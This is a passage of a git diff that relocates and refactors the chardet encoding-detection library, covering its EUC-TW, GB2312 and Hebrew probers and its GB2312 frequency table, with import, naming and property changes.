116,8102,3863,3612,8103,3498,2671,2773,3401,3311,2807,8104, # 8054 -3613,2929,4056,1747,2930,2968,8105,8106, 207,8107,8108,2672,4581,2514,8109,3015, # 8070 - 890,3614,3864,8110,1877,3732,3402,8111,2183,2353,3403,1652,8112,8113,8114, 941, # 8086 -2294, 208,3499,4057,2019, 330,4294,3865,2892,2492,3733,4295,8115,8116,8117,8118, # 8102 -#Everything below is of no interest for detection purpose -2515,1613,4582,8119,3312,3866,2516,8120,4058,8121,1637,4059,2466,4583,3867,8122, # 8118 -2493,3016,3734,8123,8124,2192,8125,8126,2162,8127,8128,8129,8130,8131,8132,8133, # 8134 -8134,8135,8136,8137,8138,8139,8140,8141,8142,8143,8144,8145,8146,8147,8148,8149, # 8150 -8150,8151,8152,8153,8154,8155,8156,8157,8158,8159,8160,8161,8162,8163,8164,8165, # 8166 -8166,8167,8168,8169,8170,8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181, # 8182 -8182,8183,8184,8185,8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197, # 8198 -8198,8199,8200,8201,8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213, # 8214 -8214,8215,8216,8217,8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229, # 8230 -8230,8231,8232,8233,8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245, # 8246 -8246,8247,8248,8249,8250,8251,8252,8253,8254,8255,8256,8257,8258,8259,8260,8261, # 8262 -8262,8263,8264,8265,8266,8267,8268,8269,8270,8271,8272,8273,8274,8275,8276,8277, # 8278 -8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,8290,8291,8292,8293, # 8294 -8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,8308,8309, # 8310 -8310,8311,8312,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322,8323,8324,8325, # 8326 -8326,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337,8338,8339,8340,8341, # 8342 -8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353,8354,8355,8356,8357, # 8358 -8358,8359,8360,8361,8362,8363,8364,8365,8366,8367,8368,8369,8370,8371,8372,8373, # 8374 -8374,8375,8376,8377,8378,8379,8380,8381,8382,8383,8384,8385,8386,8387,8388,8389, # 8390 -8390,8391,8392,8393,8394,8395,8396,8397,8398,8399,8400,8401,8402,8403,8404,8405, # 8406 -8406,8407,8408,8409,8410,8411,8412,8413,8414,8415,8416,8417,8418,8419,8420,8421, # 8422 -8422,8423,8424,8425,8426,8427,8428,8429,8430,8431,8432,8433,8434,8435,8436,8437, # 8438 -8438,8439,8440,8441,8442,8443,8444,8445,8446,8447,8448,8449,8450,8451,8452,8453, # 8454 -8454,8455,8456,8457,8458,8459,8460,8461,8462,8463,8464,8465,8466,8467,8468,8469, # 8470 -8470,8471,8472,8473,8474,8475,8476,8477,8478,8479,8480,8481,8482,8483,8484,8485, # 8486 -8486,8487,8488,8489,8490,8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501, # 8502 -8502,8503,8504,8505,8506,8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517, # 8518 -8518,8519,8520,8521,8522,8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533, # 8534 -8534,8535,8536,8537,8538,8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549, # 8550 -8550,8551,8552,8553,8554,8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,8565, # 8566 -8566,8567,8568,8569,8570,8571,8572,8573,8574,8575,8576,8577,8578,8579,8580,8581, # 8582 -8582,8583,8584,8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597, # 8598 -8598,8599,8600,8601,8602,8603,8604,8605,8606,8607,8608,8609,8610,8611,8612,8613, # 8614 -8614,8615,8616,8617,8618,8619,8620,8621,8622,8623,8624,8625,8626,8627,8628,8629, # 8630 -8630,8631,8632,8633,8634,8635,8636,8637,8638,8639,8640,8641,8642,8643,8644,8645, # 8646 -8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,8657,8658,8659,8660,8661, # 8662 -8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672,8673,8674,8675,8676,8677, # 8678 -8678,8679,8680,8681,8682,8683,8684,8685,8686,8687,8688,8689,8690,8691,8692,8693, # 8694 -8694,8695,8696,8697,8698,8699,8700,8701,8702,8703,8704,8705,8706,8707,8708,8709, # 8710 -8710,8711,8712,8713,8714,8715,8716,8717,8718,8719,8720,8721,8722,8723,8724,8725, # 8726 -8726,8727,8728,8729,8730,8731,8732,8733,8734,8735,8736,8737,8738,8739,8740,8741) # 8742 diff --git a/extra/chardet/euctwprober.py b/thirdparty/chardet/euctwprober.py old mode 100755 new mode 100644 similarity index 72% rename from extra/chardet/euctwprober.py rename to thirdparty/chardet/euctwprober.py index b073f134fdf..35669cc4dd8 --- a/extra/chardet/euctwprober.py +++ b/thirdparty/chardet/euctwprober.py @@ -13,29 +13,34 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from mbcharsetprober import MultiByteCharSetProber -from codingstatemachine import CodingStateMachine -from chardistribution import EUCTWDistributionAnalysis -from mbcssm import EUCTWSMModel +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import EUCTWDistributionAnalysis +from .mbcssm import EUCTW_SM_MODEL class EUCTWProber(MultiByteCharSetProber): def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(EUCTWSMModel) - self._mDistributionAnalyzer = EUCTWDistributionAnalysis() + super(EUCTWProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCTW_SM_MODEL) + self.distribution_analyzer = EUCTWDistributionAnalysis() self.reset() - def get_charset_name(self): + @property + def charset_name(self): return "EUC-TW" + + @property + def language(self): + return "Taiwan" diff --git a/extra/chardet/gb2312freq.py b/thirdparty/chardet/gb2312freq.py old mode 100755 new mode 100644 similarity index 57% rename from extra/chardet/gb2312freq.py rename to thirdparty/chardet/gb2312freq.py index 7a4d5a1b344..697837bd9a8 --- a/extra/chardet/gb2312freq.py +++ b/thirdparty/chardet/gb2312freq.py @@ -13,12 +13,12 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA @@ -36,14 +36,14 @@ # # Ideal Distribution Ratio = 0.79135/(1-0.79135) = 3.79 # Random Distribution Ration = 512 / (3755 - 512) = 0.157 -# +# # Typical Distribution Ratio about 25% of Ideal one, still much higher that RDR GB2312_TYPICAL_DISTRIBUTION_RATIO = 0.9 GB2312_TABLE_SIZE = 3760 -GB2312CharToFreqOrder = ( \ +GB2312_CHAR_TO_FREQ_ORDER = ( 1671, 749,1443,2364,3924,3807,2330,3921,1704,3463,2691,1511,1515, 572,3191,2205, 2361, 224,2558, 479,1711, 963,3162, 440,4060,1905,2966,2947,3580,2647,3961,3842, 2204, 869,4207, 970,2678,5626,2944,2956,1479,4048, 514,3595, 588,1346,2820,3409, @@ -278,194 +278,6 @@ 1718,1717,2655,3453,3143,4465, 161,2889,2980,2009,1421, 56,1908,1640,2387,2232, 1917,1874,2477,4921, 148, 83,3438, 592,4245,2882,1822,1055, 741, 115,1496,1624, 381,1638,4592,1020, 516,3214, 458, 947,4575,1432, 211,1514,2926,1865,2142, 189, - 852,1221,1400,1486, 882,2299,4036, 351, 28,1122, 700,6479,6480,6481,6482,6483, # last 512 -#Everything below is of no interest for detection purpose -5508,6484,3900,3414,3974,4441,4024,3537,4037,5628,5099,3633,6485,3148,6486,3636, -5509,3257,5510,5973,5445,5872,4941,4403,3174,4627,5873,6276,2286,4230,5446,5874, -5122,6102,6103,4162,5447,5123,5323,4849,6277,3980,3851,5066,4246,5774,5067,6278, -3001,2807,5695,3346,5775,5974,5158,5448,6487,5975,5976,5776,3598,6279,5696,4806, -4211,4154,6280,6488,6489,6490,6281,4212,5037,3374,4171,6491,4562,4807,4722,4827, -5977,6104,4532,4079,5159,5324,5160,4404,3858,5359,5875,3975,4288,4610,3486,4512, -5325,3893,5360,6282,6283,5560,2522,4231,5978,5186,5449,2569,3878,6284,5401,3578, -4415,6285,4656,5124,5979,2506,4247,4449,3219,3417,4334,4969,4329,6492,4576,4828, -4172,4416,4829,5402,6286,3927,3852,5361,4369,4830,4477,4867,5876,4173,6493,6105, -4657,6287,6106,5877,5450,6494,4155,4868,5451,3700,5629,4384,6288,6289,5878,3189, -4881,6107,6290,6495,4513,6496,4692,4515,4723,5100,3356,6497,6291,3810,4080,5561, -3570,4430,5980,6498,4355,5697,6499,4724,6108,6109,3764,4050,5038,5879,4093,3226, -6292,5068,5217,4693,3342,5630,3504,4831,4377,4466,4309,5698,4431,5777,6293,5778, -4272,3706,6110,5326,3752,4676,5327,4273,5403,4767,5631,6500,5699,5880,3475,5039, -6294,5562,5125,4348,4301,4482,4068,5126,4593,5700,3380,3462,5981,5563,3824,5404, -4970,5511,3825,4738,6295,6501,5452,4516,6111,5881,5564,6502,6296,5982,6503,4213, -4163,3454,6504,6112,4009,4450,6113,4658,6297,6114,3035,6505,6115,3995,4904,4739, -4563,4942,4110,5040,3661,3928,5362,3674,6506,5292,3612,4791,5565,4149,5983,5328, -5259,5021,4725,4577,4564,4517,4364,6298,5405,4578,5260,4594,4156,4157,5453,3592, -3491,6507,5127,5512,4709,4922,5984,5701,4726,4289,6508,4015,6116,5128,4628,3424, -4241,5779,6299,4905,6509,6510,5454,5702,5780,6300,4365,4923,3971,6511,5161,3270, -3158,5985,4100, 867,5129,5703,6117,5363,3695,3301,5513,4467,6118,6512,5455,4232, -4242,4629,6513,3959,4478,6514,5514,5329,5986,4850,5162,5566,3846,4694,6119,5456, -4869,5781,3779,6301,5704,5987,5515,4710,6302,5882,6120,4392,5364,5705,6515,6121, -6516,6517,3736,5988,5457,5989,4695,2457,5883,4551,5782,6303,6304,6305,5130,4971, -6122,5163,6123,4870,3263,5365,3150,4871,6518,6306,5783,5069,5706,3513,3498,4409, -5330,5632,5366,5458,5459,3991,5990,4502,3324,5991,5784,3696,4518,5633,4119,6519, -4630,5634,4417,5707,4832,5992,3418,6124,5993,5567,4768,5218,6520,4595,3458,5367, -6125,5635,6126,4202,6521,4740,4924,6307,3981,4069,4385,6308,3883,2675,4051,3834, -4302,4483,5568,5994,4972,4101,5368,6309,5164,5884,3922,6127,6522,6523,5261,5460, -5187,4164,5219,3538,5516,4111,3524,5995,6310,6311,5369,3181,3386,2484,5188,3464, -5569,3627,5708,6524,5406,5165,4677,4492,6312,4872,4851,5885,4468,5996,6313,5709, -5710,6128,2470,5886,6314,5293,4882,5785,3325,5461,5101,6129,5711,5786,6525,4906, -6526,6527,4418,5887,5712,4808,2907,3701,5713,5888,6528,3765,5636,5331,6529,6530, -3593,5889,3637,4943,3692,5714,5787,4925,6315,6130,5462,4405,6131,6132,6316,5262, -6531,6532,5715,3859,5716,5070,4696,5102,3929,5788,3987,4792,5997,6533,6534,3920, -4809,5000,5998,6535,2974,5370,6317,5189,5263,5717,3826,6536,3953,5001,4883,3190, -5463,5890,4973,5999,4741,6133,6134,3607,5570,6000,4711,3362,3630,4552,5041,6318, -6001,2950,2953,5637,4646,5371,4944,6002,2044,4120,3429,6319,6537,5103,4833,6538, -6539,4884,4647,3884,6003,6004,4758,3835,5220,5789,4565,5407,6540,6135,5294,4697, -4852,6320,6321,3206,4907,6541,6322,4945,6542,6136,6543,6323,6005,4631,3519,6544, -5891,6545,5464,3784,5221,6546,5571,4659,6547,6324,6137,5190,6548,3853,6549,4016, -4834,3954,6138,5332,3827,4017,3210,3546,4469,5408,5718,3505,4648,5790,5131,5638, -5791,5465,4727,4318,6325,6326,5792,4553,4010,4698,3439,4974,3638,4335,3085,6006, -5104,5042,5166,5892,5572,6327,4356,4519,5222,5573,5333,5793,5043,6550,5639,5071, -4503,6328,6139,6551,6140,3914,3901,5372,6007,5640,4728,4793,3976,3836,4885,6552, -4127,6553,4451,4102,5002,6554,3686,5105,6555,5191,5072,5295,4611,5794,5296,6556, -5893,5264,5894,4975,5466,5265,4699,4976,4370,4056,3492,5044,4886,6557,5795,4432, -4769,4357,5467,3940,4660,4290,6141,4484,4770,4661,3992,6329,4025,4662,5022,4632, -4835,4070,5297,4663,4596,5574,5132,5409,5895,6142,4504,5192,4664,5796,5896,3885, -5575,5797,5023,4810,5798,3732,5223,4712,5298,4084,5334,5468,6143,4052,4053,4336, -4977,4794,6558,5335,4908,5576,5224,4233,5024,4128,5469,5225,4873,6008,5045,4729, -4742,4633,3675,4597,6559,5897,5133,5577,5003,5641,5719,6330,6560,3017,2382,3854, -4406,4811,6331,4393,3964,4946,6561,2420,3722,6562,4926,4378,3247,1736,4442,6332, -5134,6333,5226,3996,2918,5470,4319,4003,4598,4743,4744,4485,3785,3902,5167,5004, -5373,4394,5898,6144,4874,1793,3997,6334,4085,4214,5106,5642,4909,5799,6009,4419, -4189,3330,5899,4165,4420,5299,5720,5227,3347,6145,4081,6335,2876,3930,6146,3293, -3786,3910,3998,5900,5300,5578,2840,6563,5901,5579,6147,3531,5374,6564,6565,5580, -4759,5375,6566,6148,3559,5643,6336,6010,5517,6337,6338,5721,5902,3873,6011,6339, -6567,5518,3868,3649,5722,6568,4771,4947,6569,6149,4812,6570,2853,5471,6340,6341, -5644,4795,6342,6012,5723,6343,5724,6013,4349,6344,3160,6150,5193,4599,4514,4493, -5168,4320,6345,4927,3666,4745,5169,5903,5005,4928,6346,5725,6014,4730,4203,5046, -4948,3395,5170,6015,4150,6016,5726,5519,6347,5047,3550,6151,6348,4197,4310,5904, -6571,5581,2965,6152,4978,3960,4291,5135,6572,5301,5727,4129,4026,5905,4853,5728, -5472,6153,6349,4533,2700,4505,5336,4678,3583,5073,2994,4486,3043,4554,5520,6350, -6017,5800,4487,6351,3931,4103,5376,6352,4011,4321,4311,4190,5136,6018,3988,3233, -4350,5906,5645,4198,6573,5107,3432,4191,3435,5582,6574,4139,5410,6353,5411,3944, -5583,5074,3198,6575,6354,4358,6576,5302,4600,5584,5194,5412,6577,6578,5585,5413, -5303,4248,5414,3879,4433,6579,4479,5025,4854,5415,6355,4760,4772,3683,2978,4700, -3797,4452,3965,3932,3721,4910,5801,6580,5195,3551,5907,3221,3471,3029,6019,3999, -5908,5909,5266,5267,3444,3023,3828,3170,4796,5646,4979,4259,6356,5647,5337,3694, -6357,5648,5338,4520,4322,5802,3031,3759,4071,6020,5586,4836,4386,5048,6581,3571, -4679,4174,4949,6154,4813,3787,3402,3822,3958,3215,3552,5268,4387,3933,4950,4359, -6021,5910,5075,3579,6358,4234,4566,5521,6359,3613,5049,6022,5911,3375,3702,3178, -4911,5339,4521,6582,6583,4395,3087,3811,5377,6023,6360,6155,4027,5171,5649,4421, -4249,2804,6584,2270,6585,4000,4235,3045,6156,5137,5729,4140,4312,3886,6361,4330, -6157,4215,6158,3500,3676,4929,4331,3713,4930,5912,4265,3776,3368,5587,4470,4855, -3038,4980,3631,6159,6160,4132,4680,6161,6362,3923,4379,5588,4255,6586,4121,6587, -6363,4649,6364,3288,4773,4774,6162,6024,6365,3543,6588,4274,3107,3737,5050,5803, -4797,4522,5589,5051,5730,3714,4887,5378,4001,4523,6163,5026,5522,4701,4175,2791, -3760,6589,5473,4224,4133,3847,4814,4815,4775,3259,5416,6590,2738,6164,6025,5304, -3733,5076,5650,4816,5590,6591,6165,6592,3934,5269,6593,3396,5340,6594,5804,3445, -3602,4042,4488,5731,5732,3525,5591,4601,5196,6166,6026,5172,3642,4612,3202,4506, -4798,6366,3818,5108,4303,5138,5139,4776,3332,4304,2915,3415,4434,5077,5109,4856, -2879,5305,4817,6595,5913,3104,3144,3903,4634,5341,3133,5110,5651,5805,6167,4057, -5592,2945,4371,5593,6596,3474,4182,6367,6597,6168,4507,4279,6598,2822,6599,4777, -4713,5594,3829,6169,3887,5417,6170,3653,5474,6368,4216,2971,5228,3790,4579,6369, -5733,6600,6601,4951,4746,4555,6602,5418,5475,6027,3400,4665,5806,6171,4799,6028, -5052,6172,3343,4800,4747,5006,6370,4556,4217,5476,4396,5229,5379,5477,3839,5914, -5652,5807,4714,3068,4635,5808,6173,5342,4192,5078,5419,5523,5734,6174,4557,6175, -4602,6371,6176,6603,5809,6372,5735,4260,3869,5111,5230,6029,5112,6177,3126,4681, -5524,5915,2706,3563,4748,3130,6178,4018,5525,6604,6605,5478,4012,4837,6606,4534, -4193,5810,4857,3615,5479,6030,4082,3697,3539,4086,5270,3662,4508,4931,5916,4912, -5811,5027,3888,6607,4397,3527,3302,3798,2775,2921,2637,3966,4122,4388,4028,4054, -1633,4858,5079,3024,5007,3982,3412,5736,6608,3426,3236,5595,3030,6179,3427,3336, -3279,3110,6373,3874,3039,5080,5917,5140,4489,3119,6374,5812,3405,4494,6031,4666, -4141,6180,4166,6032,5813,4981,6609,5081,4422,4982,4112,3915,5653,3296,3983,6375, -4266,4410,5654,6610,6181,3436,5082,6611,5380,6033,3819,5596,4535,5231,5306,5113, -6612,4952,5918,4275,3113,6613,6376,6182,6183,5814,3073,4731,4838,5008,3831,6614, -4888,3090,3848,4280,5526,5232,3014,5655,5009,5737,5420,5527,6615,5815,5343,5173, -5381,4818,6616,3151,4953,6617,5738,2796,3204,4360,2989,4281,5739,5174,5421,5197, -3132,5141,3849,5142,5528,5083,3799,3904,4839,5480,2880,4495,3448,6377,6184,5271, -5919,3771,3193,6034,6035,5920,5010,6036,5597,6037,6378,6038,3106,5422,6618,5423, -5424,4142,6619,4889,5084,4890,4313,5740,6620,3437,5175,5307,5816,4199,5198,5529, -5817,5199,5656,4913,5028,5344,3850,6185,2955,5272,5011,5818,4567,4580,5029,5921, -3616,5233,6621,6622,6186,4176,6039,6379,6380,3352,5200,5273,2908,5598,5234,3837, -5308,6623,6624,5819,4496,4323,5309,5201,6625,6626,4983,3194,3838,4167,5530,5922, -5274,6381,6382,3860,3861,5599,3333,4292,4509,6383,3553,5481,5820,5531,4778,6187, -3955,3956,4324,4389,4218,3945,4325,3397,2681,5923,4779,5085,4019,5482,4891,5382, -5383,6040,4682,3425,5275,4094,6627,5310,3015,5483,5657,4398,5924,3168,4819,6628, -5925,6629,5532,4932,4613,6041,6630,4636,6384,4780,4204,5658,4423,5821,3989,4683, -5822,6385,4954,6631,5345,6188,5425,5012,5384,3894,6386,4490,4104,6632,5741,5053, -6633,5823,5926,5659,5660,5927,6634,5235,5742,5824,4840,4933,4820,6387,4859,5928, -4955,6388,4143,3584,5825,5346,5013,6635,5661,6389,5014,5484,5743,4337,5176,5662, -6390,2836,6391,3268,6392,6636,6042,5236,6637,4158,6638,5744,5663,4471,5347,3663, -4123,5143,4293,3895,6639,6640,5311,5929,5826,3800,6189,6393,6190,5664,5348,3554, -3594,4749,4603,6641,5385,4801,6043,5827,4183,6642,5312,5426,4761,6394,5665,6191, -4715,2669,6643,6644,5533,3185,5427,5086,5930,5931,5386,6192,6044,6645,4781,4013, -5745,4282,4435,5534,4390,4267,6045,5746,4984,6046,2743,6193,3501,4087,5485,5932, -5428,4184,4095,5747,4061,5054,3058,3862,5933,5600,6646,5144,3618,6395,3131,5055, -5313,6396,4650,4956,3855,6194,3896,5202,4985,4029,4225,6195,6647,5828,5486,5829, -3589,3002,6648,6397,4782,5276,6649,6196,6650,4105,3803,4043,5237,5830,6398,4096, -3643,6399,3528,6651,4453,3315,4637,6652,3984,6197,5535,3182,3339,6653,3096,2660, -6400,6654,3449,5934,4250,4236,6047,6401,5831,6655,5487,3753,4062,5832,6198,6199, -6656,3766,6657,3403,4667,6048,6658,4338,2897,5833,3880,2797,3780,4326,6659,5748, -5015,6660,5387,4351,5601,4411,6661,3654,4424,5935,4339,4072,5277,4568,5536,6402, -6662,5238,6663,5349,5203,6200,5204,6201,5145,4536,5016,5056,4762,5834,4399,4957, -6202,6403,5666,5749,6664,4340,6665,5936,5177,5667,6666,6667,3459,4668,6404,6668, -6669,4543,6203,6670,4276,6405,4480,5537,6671,4614,5205,5668,6672,3348,2193,4763, -6406,6204,5937,5602,4177,5669,3419,6673,4020,6205,4443,4569,5388,3715,3639,6407, -6049,4058,6206,6674,5938,4544,6050,4185,4294,4841,4651,4615,5488,6207,6408,6051, -5178,3241,3509,5835,6208,4958,5836,4341,5489,5278,6209,2823,5538,5350,5206,5429, -6675,4638,4875,4073,3516,4684,4914,4860,5939,5603,5389,6052,5057,3237,5490,3791, -6676,6409,6677,4821,4915,4106,5351,5058,4243,5539,4244,5604,4842,4916,5239,3028, -3716,5837,5114,5605,5390,5940,5430,6210,4332,6678,5540,4732,3667,3840,6053,4305, -3408,5670,5541,6410,2744,5240,5750,6679,3234,5606,6680,5607,5671,3608,4283,4159, -4400,5352,4783,6681,6411,6682,4491,4802,6211,6412,5941,6413,6414,5542,5751,6683, -4669,3734,5942,6684,6415,5943,5059,3328,4670,4144,4268,6685,6686,6687,6688,4372, -3603,6689,5944,5491,4373,3440,6416,5543,4784,4822,5608,3792,4616,5838,5672,3514, -5391,6417,4892,6690,4639,6691,6054,5673,5839,6055,6692,6056,5392,6212,4038,5544, -5674,4497,6057,6693,5840,4284,5675,4021,4545,5609,6418,4454,6419,6213,4113,4472, -5314,3738,5087,5279,4074,5610,4959,4063,3179,4750,6058,6420,6214,3476,4498,4716, -5431,4960,4685,6215,5241,6694,6421,6216,6695,5841,5945,6422,3748,5946,5179,3905, -5752,5545,5947,4374,6217,4455,6423,4412,6218,4803,5353,6696,3832,5280,6219,4327, -4702,6220,6221,6059,4652,5432,6424,3749,4751,6425,5753,4986,5393,4917,5948,5030, -5754,4861,4733,6426,4703,6697,6222,4671,5949,4546,4961,5180,6223,5031,3316,5281, -6698,4862,4295,4934,5207,3644,6427,5842,5950,6428,6429,4570,5843,5282,6430,6224, -5088,3239,6060,6699,5844,5755,6061,6431,2701,5546,6432,5115,5676,4039,3993,3327, -4752,4425,5315,6433,3941,6434,5677,4617,4604,3074,4581,6225,5433,6435,6226,6062, -4823,5756,5116,6227,3717,5678,4717,5845,6436,5679,5846,6063,5847,6064,3977,3354, -6437,3863,5117,6228,5547,5394,4499,4524,6229,4605,6230,4306,4500,6700,5951,6065, -3693,5952,5089,4366,4918,6701,6231,5548,6232,6702,6438,4704,5434,6703,6704,5953, -4168,6705,5680,3420,6706,5242,4407,6066,3812,5757,5090,5954,4672,4525,3481,5681, -4618,5395,5354,5316,5955,6439,4962,6707,4526,6440,3465,4673,6067,6441,5682,6708, -5435,5492,5758,5683,4619,4571,4674,4804,4893,4686,5493,4753,6233,6068,4269,6442, -6234,5032,4705,5146,5243,5208,5848,6235,6443,4963,5033,4640,4226,6236,5849,3387, -6444,6445,4436,4437,5850,4843,5494,4785,4894,6709,4361,6710,5091,5956,3331,6237, -4987,5549,6069,6711,4342,3517,4473,5317,6070,6712,6071,4706,6446,5017,5355,6713, -6714,4988,5436,6447,4734,5759,6715,4735,4547,4456,4754,6448,5851,6449,6450,3547, -5852,5318,6451,6452,5092,4205,6716,6238,4620,4219,5611,6239,6072,4481,5760,5957, -5958,4059,6240,6453,4227,4537,6241,5761,4030,4186,5244,5209,3761,4457,4876,3337, -5495,5181,6242,5959,5319,5612,5684,5853,3493,5854,6073,4169,5613,5147,4895,6074, -5210,6717,5182,6718,3830,6243,2798,3841,6075,6244,5855,5614,3604,4606,5496,5685, -5118,5356,6719,6454,5960,5357,5961,6720,4145,3935,4621,5119,5962,4261,6721,6455, -4786,5963,4375,4582,6245,6246,6247,6076,5437,4877,5856,3376,4380,6248,4160,6722, -5148,6456,5211,6457,6723,4718,6458,6724,6249,5358,4044,3297,6459,6250,5857,5615, -5497,5245,6460,5498,6725,6251,6252,5550,3793,5499,2959,5396,6461,6462,4572,5093, -5500,5964,3806,4146,6463,4426,5762,5858,6077,6253,4755,3967,4220,5965,6254,4989, -5501,6464,4352,6726,6078,4764,2290,5246,3906,5438,5283,3767,4964,2861,5763,5094, -6255,6256,4622,5616,5859,5860,4707,6727,4285,4708,4824,5617,6257,5551,4787,5212, -4965,4935,4687,6465,6728,6466,5686,6079,3494,4413,2995,5247,5966,5618,6729,5967, -5764,5765,5687,5502,6730,6731,6080,5397,6467,4990,6258,6732,4538,5060,5619,6733, -4719,5688,5439,5018,5149,5284,5503,6734,6081,4607,6259,5120,3645,5861,4583,6260, -4584,4675,5620,4098,5440,6261,4863,2379,3306,4585,5552,5689,4586,5285,6735,4864, -6736,5286,6082,6737,4623,3010,4788,4381,4558,5621,4587,4896,3698,3161,5248,4353, -4045,6262,3754,5183,4588,6738,6263,6739,6740,5622,3936,6741,6468,6742,6264,5095, -6469,4991,5968,6743,4992,6744,6083,4897,6745,4256,5766,4307,3108,3968,4444,5287, -3889,4343,6084,4510,6085,4559,6086,4898,5969,6746,5623,5061,4919,5249,5250,5504, -5441,6265,5320,4878,3242,5862,5251,3428,6087,6747,4237,5624,5442,6266,5553,4539, -6748,2585,3533,5398,4262,6088,5150,4736,4438,6089,6267,5505,4966,6749,6268,6750, -6269,5288,5554,3650,6090,6091,4624,6092,5690,6751,5863,4270,5691,4277,5555,5864, -6752,5692,4720,4865,6470,5151,4688,4825,6753,3094,6754,6471,3235,4653,6755,5213, -5399,6756,3201,4589,5865,4967,6472,5866,6473,5019,3016,6757,5321,4756,3957,4573, -6093,4993,5767,4721,6474,6758,5625,6759,4458,6475,6270,6760,5556,4994,5214,5252, -6271,3875,5768,6094,5034,5506,4376,5769,6761,2120,6476,5253,5770,6762,5771,5970, -3990,5971,5557,5558,5772,6477,6095,2787,4641,5972,5121,6096,6097,6272,6763,3703, -5867,5507,6273,4206,6274,4789,6098,6764,3619,3646,3833,3804,2394,3788,4936,3978, -4866,4899,6099,6100,5559,6478,6765,3599,5868,6101,5869,5870,6275,6766,4527,6767) + 852,1221,1400,1486, 882,2299,4036, 351, 28,1122, 700,6479,6480,6481,6482,6483, #last 512 +) diff --git a/extra/chardet/gb2312prober.py b/thirdparty/chardet/gb2312prober.py old mode 100755 new mode 100644 similarity index 72% rename from extra/chardet/gb2312prober.py rename to thirdparty/chardet/gb2312prober.py index 91eb3925a4f..8446d2dd959 --- a/extra/chardet/gb2312prober.py +++ b/thirdparty/chardet/gb2312prober.py @@ -13,29 +13,34 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from mbcharsetprober import MultiByteCharSetProber -from codingstatemachine import CodingStateMachine -from chardistribution import GB2312DistributionAnalysis -from mbcssm import GB2312SMModel +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import GB2312DistributionAnalysis +from .mbcssm import GB2312_SM_MODEL class GB2312Prober(MultiByteCharSetProber): def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(GB2312SMModel) - self._mDistributionAnalyzer = GB2312DistributionAnalysis() + super(GB2312Prober, self).__init__() + self.coding_sm = CodingStateMachine(GB2312_SM_MODEL) + self.distribution_analyzer = GB2312DistributionAnalysis() self.reset() - def get_charset_name(self): + @property + def charset_name(self): return "GB2312" + + @property + def language(self): + return "Chinese" diff --git a/extra/chardet/hebrewprober.py b/thirdparty/chardet/hebrewprober.py old mode 100755 new mode 100644 similarity index 62% rename from extra/chardet/hebrewprober.py rename to thirdparty/chardet/hebrewprober.py index 442c0bf2b67..b0e1bf49268 --- a/extra/chardet/hebrewprober.py +++ b/thirdparty/chardet/hebrewprober.py @@ -13,20 +13,20 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from charsetprober import CharSetProber -import constants +from .charsetprober import CharSetProber +from .enums import ProbingState # This prober doesn't actually recognize a language or a charset. # It is a helper prober for the use of the Hebrew model probers @@ -35,40 +35,40 @@ # # Four main charsets exist in Hebrew: # "ISO-8859-8" - Visual Hebrew -# "windows-1255" - Logical Hebrew +# "windows-1255" - Logical Hebrew # "ISO-8859-8-I" - Logical Hebrew # "x-mac-hebrew" - ?? Logical Hebrew ?? # # Both "ISO" charsets use a 